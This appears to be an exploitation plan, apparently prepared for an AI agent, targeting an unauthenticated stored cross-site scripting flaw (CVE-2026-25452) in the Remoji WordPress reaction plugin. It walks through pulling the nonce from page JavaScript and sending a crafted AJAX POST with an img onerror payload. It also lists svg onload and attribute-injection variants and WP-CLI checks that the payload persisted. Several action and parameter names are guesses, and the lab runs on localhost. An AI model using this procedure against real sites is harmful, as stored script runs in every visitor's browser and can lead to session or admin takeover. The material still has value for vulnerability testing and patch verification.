Remoji – Post/Comment Reaction and Enhancement <= 2.2 - Unauthenticated Stored Cross-Site Scripting

This exploitation research plan target CVE-2026-25452 in the Remoji – Post/Comment Reaction and Enhancement plugin (versions <= 2.2). The vulnerability allows unauthenticated attackers to store malicious JavaScript on a page through a reaction submission mechanism.

1. Vulnerability Summary

The Remoji plugin provides a system for users (including unauthenticated visitors) to react to posts or comments using emojis or custom reactions. The vulnerability exists because the plugin fails to sanitize the reaction data submitted via AJAX and subsequently fails to escape this data when rendering the reaction statistics/list on the frontend. This results in Stored Cross-Site Scripting (XSS).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Actions (Inferred):
  • wp_ajax_nopriv_remoji_reaction
  • wp_ajax_nopriv_remoji_add_reaction
• Vulnerable Parameter: Likely a parameter representing the reaction ID, label, or type (e.g., reaction, emoji_id, or reaction_type).
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active and reactions must be enabled for posts (default behavior).

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with a nopriv action registered by the plugin.
2. Processing: The handler function (e.g., remoji_handle_reaction()) retrieves the reaction data from $_POST.
3. Storage: The plugin stores the reaction, likely in the wp_postmeta table (using update_post_meta) or a custom table (e.g., wp_remoji_reactions), associated with the post_id. The input is stored without sanitize_text_field() or similar.
4. Sink: When a user (e.g., an administrator) views the post, the plugin retrieves the reaction data and echoes it to the page inside the reaction display container without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

The plugin likely uses a nonce to protect its AJAX actions. Based on standard WordPress patterns, the nonce will be localized into a JavaScript object.

1. Identify Shortcode/Script Loading: The plugin typically loads its scripts on single post pages where the reaction interface appears.
2. Test Data Setup: Create a standard post:
   wp post create --post_type=post --post_title="Vulnerable Post" --post_status=publish --post_content="Content [remoji]"
3. Navigate and Extract: Use the browser tool to find the localized data.
   • Candidate Variables (Inferred): remoji_params, remoji_obj, or remoji_ajax.
   • Execution Command: browser_eval("window.remoji_params?.nonce || window.remoji_obj?.nonce")
4. Action String: If the agent needs to guess the action for manual verification, it is likely 'remoji-nonce' or 'remoji_reaction_nonce'.

5. Exploitation Strategy

Step 1: Discovery

Grep the plugin directory to identify the exact AJAX action and parameter names.

grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/remoji/
grep -rn "update_post_meta" /var/www/html/wp-content/plugins/remoji/

Step 2: Extract Nonce

Navigate to a post and extract the nonce using browser_eval.

• URL: http://localhost:8080/?p=1 (or the ID of the created post).
• JS Target: Search for wp_localize_script in the source to find the object name.

Step 3: Trigger Stored XSS

Send a POST request to inject the payload.

• Tool: http_request
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body (Inferred):

  action=remoji_reaction&
  post_id=1&
  reaction=<img src=x onerror=alert(document.domain)>&
  nonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Target Post: A published post must exist.

   wp post create --post_title="XSS Test" --post_status=publish --post_content="Testing Remoji"
   

2. Plugin Config: Ensure the Remoji interface is active on posts (usually default). If it requires a shortcode, add [remoji] to the post content.

7. Expected Results

• AJAX Response: A success indicator (e.g., {"success":true} or a numeric 1).
• Frontend Impact: When navigating to the post page, an alert box showing the document domain should trigger.
• Persistence: The payload should remain in the database and execute every time the page is loaded by any user.

8. Verification Steps

1. Database Check: Verify the payload is stored in the metadata.

   wp post meta list 1 --keys=_remoji_reactions
   # Or check custom tables if they exist
   wp db query "SELECT * FROM wp_postmeta WHERE meta_value LIKE '%onerror%';"
   

2. HTML Response Check: Fetch the post page and look for the raw payload.

   # Use http_request to fetch the page and check body for the string:
   # <img src=x onerror=alert(document.domain)>
   

9. Alternative Approaches

• Comment Reactions: If the plugin supports reactions on comments, the action might be remoji_comment_reaction and the ID parameter comment_id.
• Reaction Labels: If the plugin allows "suggesting" a new reaction type, the XSS might be in the label or name of the new reaction.
• SVG Payload: If <img> tags are filtered but others are not, try an SVG-based payload:
  reaction=<svg onload=alert(1)>
• Attribute Injection: If the reaction is placed inside an attribute:
  reaction=" onmouseover="alert(1)